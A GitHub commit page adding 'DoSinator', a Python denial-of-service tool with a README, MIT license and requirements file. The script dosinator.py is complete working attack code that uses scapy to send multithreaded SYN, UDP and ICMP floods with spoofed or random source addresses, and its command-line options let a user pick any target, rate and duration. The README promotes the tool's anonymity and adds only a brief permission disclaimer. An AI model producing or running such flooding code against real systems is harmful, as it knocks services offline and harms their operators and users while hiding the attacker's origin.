Skip to content

Commit 9e8a17a

Browse files
authored
Add files via upload
1 parent cdde065 commit 9e8a17a

File tree

4 files changed

+198
-0
lines changed

4 files changed

+198
-0
lines changed

LICENSE

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2023 Halil Ibrahim Deniz
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in
13+
all copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21+
THE SOFTWARE.

Readme.md

+72
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
# DoSinator
2+
3+
DoSinator is a powerful Denial of Service (DoS) testing tool developed in Python.
4+
5+
## Features
6+
7+
- **Multiple Attack Modes**: DoSinator supports SYN Flood, UDP Flood, and ICMP Flood attack modes, allowing you to simulate various types of DoS attacks.
8+
- **Customizable Parameters**: Adjust the packet size, attack rate, and duration to fine-tune the intensity and duration of the attack.
9+
- **IP Spoofing**: Enable IP spoofing to mask the source IP address and enhance anonymity during the attack.
10+
- **Multithreaded Packet Sending**: Utilize multiple threads for simultaneous packet sending, maximizing the attack speed and efficiency.
11+
12+
## Requirements
13+
14+
- Python 3.x
15+
- scapy
16+
- argparse
17+
18+
## Installation
19+
20+
1. Clone the repository:
21+
22+
```shell
23+
git clone https://github.com/your-username/DoSinator.git
24+
```
25+
26+
2. Navigate to the project directory:
27+
28+
```shell
29+
cd DoSinator
30+
```
31+
32+
3. Install the required dependencies:
33+
34+
```shell
35+
pip install -r requirements.txt
36+
```
37+
38+
## Usage
39+
40+
```shell
41+
python3 dos.py --target <target_ip> --port <target_port> --num_packets <num_packets> --packet_size <packet_size> --attack_rate <attack_rate> --duration <duration> --attack_mode <attack_mode> --spoof_ip <spoof_ip>
42+
```
43+
44+
- `target_ip`: IP address of the target system.
45+
- `target_port`: Port number of the target service.
46+
- `num_packets`: Number of packets to send (default: 500).
47+
- `packet_size`: Size of each packet in bytes (default: 64).
48+
- `attack_rate`: Attack rate in packets/second (default: 10).
49+
- `duration`: Duration of the attack in seconds.
50+
- `attack_mode`: Attack mode: syn, udp, icmp (default: syn).
51+
- `spoof_ip`: Spoof IP address (default: None).
52+
53+
Please use this tool responsibly and ensure you have the necessary permissions before conducting any tests.
54+
55+
## Contributing
56+
57+
Contributions are welcome! If you find any issues or have suggestions for improvements, feel free to open an issue or submit a pull request.
58+
59+
## Contact
60+
61+
If you have any questions, comments, or suggestions about Dosinator, please feel free to contact me:
62+
63+
- LinkedIn: [Halil Ibrahim Deniz](https://www.linkedin.com/in/halil-ibrahim-deniz/)
64+
- TryHackMe: [Halilovic](https://tryhackme.com/p/halilovic)
65+
- Instagram: [deniz.halil333](https://www.instagram.com/deniz.halil333/)
66+
- YouTube: [Halil Deniz](https://www.youtube.com/c/HalilDeniz)
67+
68+
69+
70+
## License
71+
72+
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.

dosinator.py

+103
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
import argparse
2+
import random
3+
import threading
4+
import time
5+
from scapy.all import *
6+
from scapy.layers.inet import TCP, IP, ICMP, UDP
7+
8+
9+
def generate_random_ip():
10+
return ".".join(str(random.randint(0, 255)) for _ in range(4))
11+
12+
13+
def send_packet(target_ip, target_port, packet_size, attack_mode, spoof_ip):
14+
source_ip = spoof_ip() if spoof_ip else generate_random_ip()
15+
source_port = RandShort()
16+
17+
if attack_mode == "syn":
18+
packet = IP(src=source_ip, dst=target_ip) / TCP(sport=source_port, dport=target_port, flags='S') / Raw(
19+
RandString(size=packet_size))
20+
elif attack_mode == "udp":
21+
packet = IP(src=source_ip, dst=target_ip) / UDP(sport=source_port, dport=target_port) / Raw(
22+
RandString(size=packet_size))
23+
elif attack_mode == "icmp":
24+
packet = IP(src=source_ip, dst=target_ip) / ICMP() / Raw(RandString(size=packet_size))
25+
else:
26+
print("Invalid attack mode.")
27+
return
28+
29+
send(packet, verbose=False)
30+
31+
32+
def dos_attack(target_ip, target_port, num_packets, packet_size, attack_rate, duration, attack_mode, spoof_ip):
33+
print(f"Target IP: {target_ip}")
34+
print(f"Target Port: {target_port}")
35+
print(f"Number of Packets: {num_packets}")
36+
print(f"Packet Size: {packet_size} bytes")
37+
print(f"Attack Rate: {attack_rate} packets/second")
38+
print(f"Duration: {duration} seconds")
39+
print(f"Attack Mode: {attack_mode}")
40+
print(f"Spoof IP: {spoof_ip.__name__ if spoof_ip else 'Default'}")
41+
print()
42+
43+
delay = 1 / attack_rate if attack_rate > 0 else 0
44+
start_time = time.time()
45+
sent_packets = 0
46+
47+
def send_packets():
48+
nonlocal sent_packets
49+
while True:
50+
if num_packets and sent_packets >= num_packets:
51+
break
52+
53+
if duration and time.time() - start_time >= duration:
54+
break
55+
56+
send_packet(target_ip, target_port, packet_size, attack_mode, spoof_ip)
57+
sent_packets += 1
58+
print(f"\rSent packet {sent_packets}",end="")
59+
time.sleep(delay)
60+
61+
threads = []
62+
try:
63+
for _ in range(attack_rate):
64+
thread = threading.Thread(target=send_packets)
65+
thread.start()
66+
threads.append(thread)
67+
68+
for thread in threads:
69+
thread.join()
70+
71+
except KeyboardInterrupt:
72+
print("\nAttack stopped by user.")
73+
74+
print("Attack completed.")
75+
76+
77+
if __name__ == '__main__':
78+
parser = argparse.ArgumentParser(description='Enhanced DoS Test Tool')
79+
parser.add_argument('-t', '--target', required=True, help='Target IP address')
80+
parser.add_argument('-p', '--port', type=int, required=True, help='Target port number')
81+
parser.add_argument('-np', '--num_packets', type=int, default=500, help='Number of packets to send (default: 500)')
82+
parser.add_argument('-ps', '--packet_size', type=int, default=64, help='Packet size in bytes (default: 64)')
83+
parser.add_argument('-ar', '--attack_rate', type=int, default=10, help='Attack rate in packets/second (default: 10)')
84+
parser.add_argument('-d ', '--duration', type=int, help='Duration of the attack in seconds')
85+
parser.add_argument('-am', '--attack-mode', choices=["syn", "udp", "icmp"], default="syn", help='Attack mode (default: syn)')
86+
parser.add_argument('-sp', '--spoof-ip', default=None, help='Spoof IP address')
87+
88+
args = parser.parse_args()
89+
90+
target_ip = args.target
91+
target_port = args.port
92+
num_packets = args.num_packets
93+
packet_size = args.packet_size
94+
attack_rate = args.attack_rate
95+
duration = args.duration
96+
attack_mode = args.attack_mode
97+
98+
if args.spoof_ip == "random":
99+
spoof_ip = generate_random_ip
100+
else:
101+
spoof_ip = lambda: args.spoof_ip if args.spoof_ip else None
102+
103+
dos_attack(target_ip, target_port, num_packets, packet_size, attack_rate, duration, attack_mode, spoof_ip)

requirements.txt

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
scapy
2+
argparse

0 commit comments

Comments
 (0)